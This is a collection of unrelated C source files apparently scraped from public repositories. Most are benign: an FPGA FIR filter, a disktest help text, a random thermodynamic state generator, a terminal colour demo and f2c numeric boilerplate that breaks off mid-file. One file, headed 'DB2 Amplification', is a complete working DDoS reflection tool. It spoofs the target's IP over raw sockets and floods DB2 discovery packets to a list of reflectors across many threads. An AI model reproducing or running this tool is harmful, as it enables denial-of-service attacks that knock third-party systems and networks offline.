typedef unsigned int __attribute__ ((bitwidth(2021))) uint2021;
typedef unsigned int __attribute__ ((bitwidth(2022))) uint2022;
typedef unsigned int __attribute__ ((bitwidth(2023))) uint2023;
typedef unsigned int __attribute__ ((bitwidth(2024))) uint2024;
typedef unsigned int __attribute__ ((bitwidth(2025))) uint2025;
typedef unsigned int __attribute__ ((bitwidth(2026))) uint2026;
typedef unsigned int __attribute__ ((bitwidth(2027))) uint2027;
typedef unsigned int __attribute__ ((bitwidth(2028))) uint2028;
typedef unsigned int __attribute__ ((bitwidth(2029))) uint2029;
typedef unsigned int __attribute__ ((bitwidth(2030))) uint2030;
typedef unsigned int __attribute__ ((bitwidth(2031))) uint2031;
typedef unsigned int __attribute__ ((bitwidth(2032))) uint2032;
typedef unsigned int __attribute__ ((bitwidth(2033))) uint2033;
typedef unsigned int __attribute__ ((bitwidth(2034))) uint2034;
typedef unsigned int __attribute__ ((bitwidth(2035))) uint2035;
typedef unsigned int __attribute__ ((bitwidth(2036))) uint2036;
typedef unsigned int __attribute__ ((bitwidth(2037))) uint2037;
typedef unsigned int __attribute__ ((bitwidth(2038))) uint2038;
typedef unsigned int __attribute__ ((bitwidth(2039))) uint2039;
typedef unsigned int __attribute__ ((bitwidth(2040))) uint2040;
typedef unsigned int __attribute__ ((bitwidth(2041))) uint2041;
typedef unsigned int __attribute__ ((bitwidth(2042))) uint2042;
typedef unsigned int __attribute__ ((bitwidth(2043))) uint2043;
typedef unsigned int __attribute__ ((bitwidth(2044))) uint2044;
typedef unsigned int __attribute__ ((bitwidth(2045))) uint2045;
typedef unsigned int __attribute__ ((bitwidth(2046))) uint2046;
typedef unsigned int __attribute__ ((bitwidth(2047))) uint2047;
typedef unsigned int __attribute__ ((bitwidth(2048))) uint2048;
#110 "C:/Xilinx/Vivado_HLS/2017.2/common/technology/autopilot\\etc/autopilot_dt.h" 2
#131 "C:/Xilinx/Vivado_HLS/2017.2/common/technology/autopilot\\etc/autopilot_dt.h"
typedef int __attribute__ ((bitwidth(64))) int64;
typedef unsigned int __attribute__ ((bitwidth(64))) uint64;
#147 "C:/Xilinx/Vivado_HLS/2017.2/common/technology/autopilot\\etc/autopilot_dt.h"
// 67d7842dbbe25473c3c32b93c0da8047785f30d78e8a024de1b57352245f9689
#58 "C:/Xilinx/Vivado_HLS/2017.2/common/technology/autopilot/etc/autopilot_apint.h" 2
#1 "C:/Xilinx/Vivado_HLS/2017.2/common/technology/autopilot\\etc/autopilot_ssdm_bits.h" 1
/* autopilot_ssdm_bits.h */
/*
#- (c) Copyright 2011-2017 Xilinx, Inc. All rights reserved.
#-
#- This file contains confidential and proprietary information
#- of Xilinx, Inc. and is protected under U.S. and
#- international copyright and other intellectual property
#- laws.
#-
#- DISCLAIMER
#- This disclaimer is not a license and does not grant any
#- rights to the materials distributed herewith. Except as
#- otherwise provided in a valid license issued to you by
#- Xilinx, and to the maximum extent permitted by applicable
#- law: (1) THESE MATERIALS ARE MADE AVAILABLE "AS IS" AND
#- WITH ALL FAULTS, AND XILINX HEREBY DISCLAIMS ALL WARRANTIES
#- AND CONDITIONS, EXPRESS, IMPLIED, OR STATUTORY, INCLUDING
#- BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, NON-
#- INFRINGEMENT, OR FITNESS FOR ANY PARTICULAR PURPOSE; and
#- (2) Xilinx shall not be liable (whether in contract or tort,
#- including negligence, or under any other theory of
#- liability) for any loss or damage of any kind or nature
#- related to, arising under or in connection with these
#- materials, including for any direct, or any indirect,
#- special, incidental, or consequential loss or damage
#- (including loss of data, profits, goodwill, or any type of
#- loss or damage suffered as a result of any action brought
#- by a third party) even if such damage or loss was
#- reasonably foreseeable or Xilinx had been advised of the
#- possibility of the same.
#-
#- CRITICAL APPLICATIONS
#- Xilinx products are not designed or intended to be fail-
#- safe, or for use in any application requiring fail-safe
#- performance, such as life-support or safety devices or
#- systems, Class III medical devices, nuclear facilities,
#- applications related to the deployment of airbags, or any
#- other applications that could lead to death, personal
#- injury, or severe property or environmental damage
#- (individually and collectively, "Critical
#- Applications"). Customer assumes the sole risk and
#- liability of any use of Xilinx products in Critical
#- Applications, subject only to applicable laws and
#- regulations governing limitations on product liability.
#-
#- THIS COPYRIGHT NOTICE AND DISCLAIMER MUST BE RETAINED AS
#- PART OF THIS FILE AT ALL TIMES.
#- ************************************************************************
*
* $Id$
*/
#98 "C:/Xilinx/Vivado_HLS/2017.2/common/technology/autopilot\\etc/autopilot_ssdm_bits.h"
/* -- Concatination ----------------*/
#108 "C:/Xilinx/Vivado_HLS/2017.2/common/technology/autopilot\\etc/autopilot_ssdm_bits.h"
/* -- Bit get/set ----------------*/
#129 "C:/Xilinx/Vivado_HLS/2017.2/common/technology/autopilot\\etc/autopilot_ssdm_bits.h"
/* -- Part get/set ----------------*/
/* GetRange: Notice that the order of the range indices comply with SystemC
standards. */
#143 "C:/Xilinx/Vivado_HLS/2017.2/common/technology/autopilot\\etc/autopilot_ssdm_bits.h"
/* SetRange: Notice that the order of the range indices comply with SystemC
standards. */
#156 "C:/Xilinx/Vivado_HLS/2017.2/common/technology/autopilot\\etc/autopilot_ssdm_bits.h"
/* -- Reduce operations ----------------*/
#192 "C:/Xilinx/Vivado_HLS/2017.2/common/technology/autopilot\\etc/autopilot_ssdm_bits.h"
/* -- String-Integer conversions ----------------*/
#358 "C:/Xilinx/Vivado_HLS/2017.2/common/technology/autopilot\\etc/autopilot_ssdm_bits.h"
// 67d7842dbbe25473c3c32b93c0da8047785f30d78e8a024de1b57352245f9689
#59 "C:/Xilinx/Vivado_HLS/2017.2/common/technology/autopilot/etc/autopilot_apint.h" 2
#85 "C:/Xilinx/Vivado_HLS/2017.2/common/technology/autopilot/etc/autopilot_apint.h"
/************************************************/
#114 "C:/Xilinx/Vivado_HLS/2017.2/common/technology/autopilot/etc/autopilot_apint.h"
// 67d7842dbbe25473c3c32b93c0da8047785f30d78e8a024de1b57352245f9689
#78 "C:/Xilinx/Vivado_HLS/2017.2/common/technology/autopilot\\ap_cint.h" 2
#88 "C:/Xilinx/Vivado_HLS/2017.2/common/technology/autopilot\\ap_cint.h"
// 67d7842dbbe25473c3c32b93c0da8047785f30d78e8a024de1b57352245f9689
#3 "./fir.h" 2
typedef short coef_t;
typedef short data_t;
typedef int38 acc_t;
#2 "fir.c" 2
void fir (
data_t *y,
data_t x
) {
#pragma HLS INTERFACE s_axilite port=return bundle=fir_io
#6 "fir.c"
#pragma HLS INTERFACE s_axilite port=y bundle=fir_io
#6 "fir.c"
#pragma HLS INTERFACE s_axilite port=x bundle=fir_io
#6 "fir.c"
const coef_t c[58 +1]={
#1 "./fir_coef.dat" 1
-378,
-73,
27,
170,
298,
352,
302,
168,
14,
-80,
-64,
53,
186,
216,
40,
-356,
-867,
-1283,
-1366,
-954,
-51,
1132,
2227,
2829,
2647,
1633,
25,
-1712,
-3042,
29229,
-3042,
-1712,
25,
1633,
2647,
2829,
2227,
1132,
-51,
-954,
-1366,
-1283,
-867,
-356,
40,
216,
186,
53,
-64,
-80,
14,
168,
302,
352,
298,
170,
27,
-73,
-378
#9 "fir.c" 2
};
_ssdm_SpecConstant(c);
#9 "fir.c"
static data_t shift_reg[58];
acc_t acc;
int i;
acc=(acc_t)shift_reg[58 -1]*(acc_t)c[58];
loop: for (i=58 -1;i!=0;i--) {
#pragma HLS PIPELINE
#17 "fir.c"
acc+=(acc_t)shift_reg[i-1]*(acc_t)c[i];
shift_reg[i]=shift_reg[i-1];
}
acc+=(acc_t)x*(acc_t)c[0];
shift_reg[0]=x;
*y = acc>>15;
}
|
the_stack_data/7951181.c | int x;
#if 1
/* Review this issues later (problem with MSVC support for un-named unions, now fixed). */
struct X
{
union
{
int x;
} v;
};
struct Y
{
union
{
int x;
} *v;
};
#if 1
void foobar()
{
struct X A;
struct Y B;
int x;
x = A.v.x;
x = B.v->x;
}
#endif
#endif
|
the_stack_data/934064.c | /*
* Disktest
* Copyright (c) International Business Machines Corp., 2001
*
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Please send e-mail to [email protected] if you have
* questions or comments.
*
* Project Website: TBD
*
* $Id: usage.c,v 1.5 2008/02/14 08:22:24 subrata_modak Exp $
*
*/
#include <stdio.h>
void usage(void)
{
printf("\n");
printf("\tdisktest [OPTIONS...] filespec\n");
printf("\t-?\t\tDisplay this help text and exit.\n");
printf("\t-a seed\t\tSets seed for random number generation.\n");
printf("\t-A action\tSpecifies modified actions during runtime.\n");
printf("\t-B lblk[:hblk]\tSet the block transfer size.\n");
printf("\t-c\t\tUse a counting sequence as the data pattern.\n");
printf
("\t-C cycles\tRun until cycles disk access cycles are complete.\n");
printf("\t-d\t\tDump data to standard out and exit.\n");
printf("\t-D r%%:w%%\tDuty cycle used while reading and/or writing.\n");
printf
("\t-E cmp_len\tTurn on error checking comparing <cmp_len> bytes.\n");
printf("\t-f byte\t\tUse a fixed data pattern up to 8 bytes.\n");
printf("\t-F \t\tfilespec is a file describing a list of targets\n");
printf
("\t-h hbeat\tDisplays performance statistic every <hbeat> seconds.\n");
printf("\t-I IO_type\tSet the data transfer type to IO_type.\n");
printf("\t-K threads\tSet the number of test threads.\n");
printf("\t-L seeks\tTotal number of seeks to occur.\n");
printf("\t-m\t\tMark each LBA with header information.\n");
printf("\t-M marker\tSpecify an alternate marker then start time.\n");
printf("\t-n\t\tUse the LBA number as the data pattern.\n");
printf("\t-N num_secs\tSet the number of available sectors.\n");
printf("\t-o offset\tSet lba alignment offset.\n");
printf("\t-p seek_pattern\tSet the pattern of disk seeks.\n");
printf("\t-P perf_opts\tDisplays performance statistic.\n");
printf("\t-q\t\tSuppress INFO level messages.\n");
printf("\t-Q\t\tSuppress header information on messages.\n");
printf("\t-r\t\tRead data from disk.\n");
printf
("\t-R rty[:dly]\tNumber of retries / retry delay after failure.\n");
printf("\t-s sLBA[:eLBA]\tSet the start [and stop] test LBA.\n");
printf("\t-S sblk[:eblk]\tSet the start [and stop] test block.\n");
printf("\t-t dMin[:dMax][:ioTMO] set IO timing /timeout operations.\n");
printf("\t-T runtime\tRun until <runtime> seconds have elapsed.\n");
printf("\t-w\t\tWrite data to disk.\n");
printf("\t-v\t\tDisplay version information and exit.\n");
printf("\t-z\t\tUse randomly generated data as the data pattern.\n");
}
|
the_stack_data/190767491.c | #include <math.h>
#include <stdlib.h>
#include <stdio.h>
#include <time.h>
int main(int argc, char *argv[])
{
int seed;
int nSpc;
double Tmin,Tmax,Pmin,Pmax;
FILE *stateFptr;
int j;
int isLogT, isLogP;
double Tstate,Pstate;
double molFracSum;
double *molFrac;
if(argc != 8)
{
printf("ERROR: incorrect command line usage\n");
printf(" use instead %s <seed (-1 = time(0))> <# species>\n",
argv[0]);
printf(" <min P> <max P> <min T> <max T>\n");
printf(" <state file>\n");
printf(" * Negative P and Ts will use exponential instead of uniform apcing\n");
exit(-1);
}
stateFptr=fopen(argv[7],"w");
if(stateFptr==NULL)
{
printf("ERROR: could not open file %s to write state vector\n",argv[7]);
exit(-1);
}
seed=atoi(argv[1]);
if(seed==-1)
{seed=time(0);}
srand48(seed);
nSpc=atoi(argv[2]);
molFrac=(double *)malloc(sizeof(double)*nSpc);
isLogT=isLogP=0;
Pmin=atof(argv[3]);
if(Pmin < 0.0)
{Pmin=-Pmin; isLogP=1;}
Pmax=atof(argv[4]);
if(Pmax < 0.0)
{Pmax=-Pmax; isLogP=1;}
Tmin=atof(argv[5]);
if(Tmin < 0.0)
{Tmin=-Tmin; isLogT=1;}
Tmax=atof(argv[6]);
if(Tmax < 0.0)
{Tmax=-Tmax; isLogT=1;}
if(isLogP)
{Pstate=Pmin*exp(log(Pmax/Pmin)*drand48());}
else
{Pstate=Pmin+(Pmax-Pmin)*drand48();}
if(isLogT)
{Tstate=Tmin*exp(log(Tmax/Tmin)*drand48());}
else
{Tstate=Tmin+(Tmax-Tmin)*drand48();}
molFracSum=0.0;
for(j=0; j<nSpc; j++)
{
molFrac[j]=drand48();
molFracSum+=molFrac[j];
}
molFracSum=1.0/molFracSum;
for(j=0; j<nSpc; j++)
{molFrac[j]*=molFracSum;}
fprintf(stateFptr,"%d\n",nSpc);
fprintf(stateFptr,"%.18g\n",Pstate);
fprintf(stateFptr,"%.18g\n",Tstate);
for(j=0; j<nSpc; j++)
{fprintf(stateFptr,"%.18g\n",molFrac[j]);}
fprintf(stateFptr,"# command line:");
for(j=0; j<argc; j++)
{fprintf(stateFptr," %s",argv[j]);}
fprintf(stateFptr,"\n# seed: %d\n",seed);
free(molFrac);
fclose(stateFptr);
return 0;
}
|
the_stack_data/129345.c | #include <stdio.h>
#include <stdlib.h>
int main(int argc,char *argv[]){
int i = 1;
for(;i < 256; i++){
printf("\e[38;5;%dm%d\e[0m\t",i,i);
if(i && 0 == i%10){
printf("\n");
}
}
printf("\n");
return 0;
}
|
the_stack_data/148577792.c | /* DB2 Amplification */
#include <time.h>
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#define MAX_PACKET_SIZE 8192
#define PHI 0x9e3779b9
static uint32_t Q[4096], c = 362436;
struct list
{
struct sockaddr_in data;
struct list *next;
struct list *prev;
};
struct list *head;
volatile int tehport;
volatile int limiter;
volatile unsigned int pps;
volatile unsigned int sleeptime = 100;
struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
void init_rand(uint32_t x)
{
int i;
Q[0] = x;
Q[1] = x + PHI;
Q[2] = x + PHI + PHI;
for (i = 3; i < 4096; i++)
{
Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
}
}
uint32_t rand_cmwc(void)
{
uint64_t t, a = 18782LL;
static uint32_t i = 4095;
uint32_t x, r = 0xfffffffe;
i = (i + 1) & 4095;
t = a * Q[i] + c;
c = (t >> 32);
x = t + c;
if (x < c) {
x++;
c++;
}
return (Q[i] = r - x);
}
unsigned short csum (unsigned short *buf, int nwords)
{
unsigned long sum = 0;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}
void setup_ip_header(struct iphdr *iph)
{
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 20;
iph->id = htonl(54321);
iph->frag_off = 0;
iph->ttl = MAXTTL;
iph->protocol = IPPROTO_UDP;
iph->check = 0;
iph->saddr = inet_addr("192.168.3.100");
}
void setup_udp_header(struct udphdr *udph)
{
udph->source = htons(5678);
udph->dest = htons(523);
udph->check = 0;
strcpy((void *)udph + sizeof(struct udphdr), "\x44\x42\x32\x47\x45\x54\x41\x44\x44\x52\x00\x53\x51\x4c\x30\x35\x30\x30\x30\x00");
udph->len=htons(sizeof(struct udphdr) + 20);
}
void *flood(void *par1)
{
struct thread_data *td = (struct thread_data *)par1;
char datagram[MAX_PACKET_SIZE];
struct iphdr *iph = (struct iphdr *)datagram;
struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
struct sockaddr_in sin = td->sin;
struct list *list_node = td->list_node;
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
if(s < 0){
fprintf(stderr, "Could not open raw socket.\n");
exit(-1);
}
init_rand(time(NULL));
memset(datagram, 0, MAX_PACKET_SIZE);
setup_ip_header(iph);
setup_udp_header(udph);
udph->source = htons(rand() % 65535 - 1026);
iph->saddr = sin.sin_addr.s_addr;
iph->daddr = list_node->data.sin_addr.s_addr;
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
int tmp = 1;
const int *val = &tmp;
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
exit(-1);
}
init_rand(time(NULL));
register unsigned int i;
i = 0;
while(1){
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
list_node = list_node->next;
iph->daddr = list_node->data.sin_addr.s_addr;
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
pps++;
if(i >= limiter)
{
i = 0;
usleep(sleeptime);
}
i++;
}
}
int main(int argc, char *argv[ ])
{
if(argc < 6){
fprintf(stderr, "Invalid parameters!\n");
fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
exit(-1);
}
srand(time(NULL));
int i = 0;
head = NULL;
fprintf(stdout, "Setting up sockets...\n");
int max_len = 128;
char *buffer = (char *) malloc(max_len);
buffer = memset(buffer, 0x00, max_len);
int num_threads = atoi(argv[4]);
int maxpps = atoi(argv[5]);
limiter = 0;
pps = 0;
int multiplier = 20;
FILE *list_fd = fopen(argv[3], "r");
while (fgets(buffer, max_len, list_fd) != NULL) {
if ((buffer[strlen(buffer) - 1] == '\n') ||
(buffer[strlen(buffer) - 1] == '\r')) {
buffer[strlen(buffer) - 1] = 0x00;
if(head == NULL)
{
head = (struct list *)malloc(sizeof(struct list));
bzero(&head->data, sizeof(head->data));
head->data.sin_addr.s_addr=inet_addr(buffer);
head->next = head;
head->prev = head;
} else {
struct list *new_node = (struct list *)malloc(sizeof(struct list));
memset(new_node, 0x00, sizeof(struct list));
new_node->data.sin_addr.s_addr=inet_addr(buffer);
new_node->prev = head;
new_node->next = head->next;
head->next = new_node;
}
i++;
} else {
continue;
}
}
struct list *current = head->next;
pthread_t thread[num_threads];
struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(argv[1]);
struct thread_data td[num_threads];
for(i = 0;i<num_threads;i++){
td[i].thread_id = i;
td[i].sin= sin;
td[i].list_node = current;
pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
}
fprintf(stdout, "Starting flood...\n");
for(i = 0;i<(atoi(argv[6])*multiplier);i++)
{
usleep((1000/multiplier)*1000);
if((pps*multiplier) > maxpps)
{
if(1 > limiter)
{
sleeptime+=100;
} else {
limiter--;
}
} else {
limiter++;
if(sleeptime > 25)
{
sleeptime-=25;
} else {
sleeptime = 0;
}
}
pps = 0;
}
return 0;
} |
the_stack_data/7950209.c | #include <math.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <complex.h>
#ifdef complex
#undef complex
#endif
#ifdef I
#undef I
#endif
#if defined(_WIN64)
typedef long long BLASLONG;
typedef unsigned long long BLASULONG;
#else
typedef long BLASLONG;
typedef unsigned long BLASULONG;
#endif
#ifdef LAPACK_ILP64
typedef BLASLONG blasint;
#if defined(_WIN64)
#define blasabs(x) llabs(x)
#else
#define blasabs(x) labs(x)
#endif
#else
typedef int blasint;
#define blasabs(x) abs(x)
#endif
typedef blasint integer;
typedef unsigned int uinteger;
typedef char *address;
typedef short int shortint;
typedef float real;
typedef double doublereal;
typedef struct { real r, i; } complex;
typedef struct { doublereal r, i; } doublecomplex;
#ifdef _MSC_VER
static inline _Fcomplex Cf(complex *z) {_Fcomplex zz={z->r , z->i}; return zz;}
static inline _Dcomplex Cd(doublecomplex *z) {_Dcomplex zz={z->r , z->i};return zz;}
static inline _Fcomplex * _pCf(complex *z) {return (_Fcomplex*)z;}
static inline _Dcomplex * _pCd(doublecomplex *z) {return (_Dcomplex*)z;}
#else
static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;}
static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;}
#endif
#define pCf(z) (*_pCf(z))
#define pCd(z) (*_pCd(z))
typedef int logical;
typedef short int shortlogical;
typedef char logical1;
typedef char integer1;
#define TRUE_ (1)
#define FALSE_ (0)
/* Extern is for use with -E */
#ifndef Extern
#define Extern extern
#endif
/* I/O stuff */
typedef int flag;
typedef int ftnlen;
typedef int ftnint;
/*external read, write*/
typedef struct
{ flag cierr;
ftnint ciunit;
flag ciend;
char *cifmt;
ftnint cirec;
} cilist;
/*internal read, write*/
typedef struct
{ flag icierr;
char *iciunit;
flag iciend;
char *icifmt;
ftnint icirlen;
ftnint icirnum;
} icilist;
/*open*/
typedef struct
{ flag oerr;
ftnint ounit;
char *ofnm;
ftnlen ofnmlen;
char *osta;
char *oacc;
char *ofm;
ftnint orl;
char *oblnk;
} olist;
/*close*/
typedef struct
{ flag cerr;
ftnint cunit;
char *csta;
} cllist;
/*rewind, backspace, endfile*/
typedef struct
{ flag aerr;
ftnint aunit;
} alist;
/* inquire */
typedef struct
{ flag inerr;
ftnint inunit;
char *infile;
ftnlen infilen;
ftnint *inex; /*parameters in standard's order*/
ftnint *inopen;
ftnint *innum;
ftnint *innamed;
char *inname;
ftnlen innamlen;
char *inacc;
ftnlen inacclen;
char *inseq;
ftnlen inseqlen;
char *indir;
ftnlen indirlen;
char *infmt;
ftnlen infmtlen;
char *inform;
ftnint informlen;
char *inunf;
ftnlen inunflen;
ftnint *inrecl;
ftnint *innrec;
char *inblank;
ftnlen inblanklen;
} inlist;
#define VOID void
union Multitype { /* for multiple entry points */
integer1 g;
shortint h;
integer i;
/* longint j; */
real r;
doublereal d;
complex c;
doublecomplex z;
};
typedef union Multitype Multitype;
struct Vardesc { /* for Namelist */
char *name;
char *addr;
ftnlen *dims;
int type;
};
typedef struct Vardesc Vardesc;
struct Namelist {
char *name;
Vardesc **vars;
int nvars;
};
typedef struct Namelist Namelist;
#define abs(x) ((x) >= 0 ? (x) : -(x))
#define dabs(x) (fabs(x))
#define f2cmin(a,b) ((a) <= (b) ? (a) : (b))
#define f2cmax(a,b) ((a) >= (b) ? (a) : (b))
#define dmin(a,b) (f2cmin(a,b))
#define dmax(a,b) (f2cmax(a,b))
#define bit_test(a,b) ((a) >> (b) & 1)
#define bit_clear(a,b) ((a) & ~((uinteger)1 << (b)))
#define bit_set(a,b) ((a) | ((uinteger)1 << (b)))
#define abort_() { sig_die("Fortran abort routine called", 1); }
#define c_abs(z) (cabsf(Cf(z)))
#define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); }
#ifdef _MSC_VER
#define c_div(c, a, b) {Cf(c)._Val[0] = (Cf(a)._Val[0]/Cf(b)._Val[0]); Cf(c)._Val[1]=(Cf(a)._Val[1]/Cf(b)._Val[1]);}
#define z_div(c, a, b) {Cd(c)._Val[0] = (Cd(a)._Val[0]/Cd(b)._Val[0]); Cd(c)._Val[1]=(Cd(a)._Val[1]/Cd(b)._Val[1]);}
#else
#define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);}
#define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);}
#endif
#define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));}
#define c_log(R, Z) {pCf(R) = clogf(Cf(Z));}
#define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));}
//#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));}
#define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));}
#define d_abs(x) (fabs(*(x)))
#define d_acos(x) (acos(*(x)))
#define d_asin(x) (asin(*(x)))
#define d_atan(x) (atan(*(x)))
#define d_atn2(x, y) (atan2(*(x),*(y)))
#define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); }
#define r_cnjg(R, Z) { pCf(R) = conjf(Cf(Z)); }
#define d_cos(x) (cos(*(x)))
#define d_cosh(x) (cosh(*(x)))
#define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 )
#define d_exp(x) (exp(*(x)))
#define d_imag(z) (cimag(Cd(z)))
#define r_imag(z) (cimagf(Cf(z)))
#define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define d_log(x) (log(*(x)))
#define d_mod(x, y) (fmod(*(x), *(y)))
#define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x)))
#define d_nint(x) u_nint(*(x))
#define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a)))
#define d_sign(a,b) u_sign(*(a),*(b))
#define r_sign(a,b) u_sign(*(a),*(b))
#define d_sin(x) (sin(*(x)))
#define d_sinh(x) (sinh(*(x)))
#define d_sqrt(x) (sqrt(*(x)))
#define d_tan(x) (tan(*(x)))
#define d_tanh(x) (tanh(*(x)))
#define i_abs(x) abs(*(x))
#define i_dnnt(x) ((integer)u_nint(*(x)))
#define i_len(s, n) (n)
#define i_nint(x) ((integer)u_nint(*(x)))
#define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b)))
#define pow_dd(ap, bp) ( pow(*(ap), *(bp)))
#define pow_si(B,E) spow_ui(*(B),*(E))
#define pow_ri(B,E) spow_ui(*(B),*(E))
#define pow_di(B,E) dpow_ui(*(B),*(E))
#define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));}
#define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));}
#define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));}
#define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; }
#define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d))))
#define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; }
#define sig_die(s, kill) { exit(1); }
#define s_stop(s, n) {exit(0);}
static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n";
#define z_abs(z) (cabs(Cd(z)))
#define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));}
#define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));}
#define myexit_() break;
#define mycycle() continue;
#define myceiling(w) {ceil(w)}
#define myhuge(w) {HUGE_VAL}
//#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);}
#define mymaxloc(w,s,e,n) {dmaxloc_(w,*(s),*(e),n)}
/* procedure parameter types for -A and -C++ */
#define F2C_proc_par_types 1
#ifdef __cplusplus
typedef logical (*L_fp)(...);
#else
typedef logical (*L_fp)();
#endif
static float spow_ui(float x, integer n) {
float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static double dpow_ui(double x, integer n) {
double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#ifdef _MSC_VER
static _Fcomplex cpow_ui(complex x, integer n) {
complex pow={1.0,0.0}; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x.r = 1/x.r, x.i=1/x.i;
for(u = n; ; ) {
if(u & 01) pow.r *= x.r, pow.i *= x.i;
if(u >>= 1) x.r *= x.r, x.i *= x.i;
else break;
}
}
_Fcomplex p={pow.r, pow.i};
return p;
}
#else
static _Complex float cpow_ui(_Complex float x, integer n) {
_Complex float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#endif
#ifdef _MSC_VER
static _Dcomplex zpow_ui(_Dcomplex x, integer n) {
_Dcomplex pow={1.0,0.0}; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x._Val[0] = 1/x._Val[0], x._Val[1] =1/x._Val[1];
for(u = n; ; ) {
if(u & 01) pow._Val[0] *= x._Val[0], pow._Val[1] *= x._Val[1];
if(u >>= 1) x._Val[0] *= x._Val[0], x._Val[1] *= x._Val[1];
else break;
}
}
_Dcomplex p = {pow._Val[0], pow._Val[1]};
return p;
}
#else
static _Complex double zpow_ui(_Complex double x, integer n) {
_Complex double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#endif
static integer pow_ii(integer x, integer n) {
integer pow; unsigned long int u;
if (n <= 0) {
if (n == 0 || x == 1) pow = 1;
else if (x != -1) pow = x == 0 ? 1/x : 0;
else n = -n;
}
if ((n > 0) || !(n == 0 || x == 1 || x != -1)) {
u = n;
for(pow = 1; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
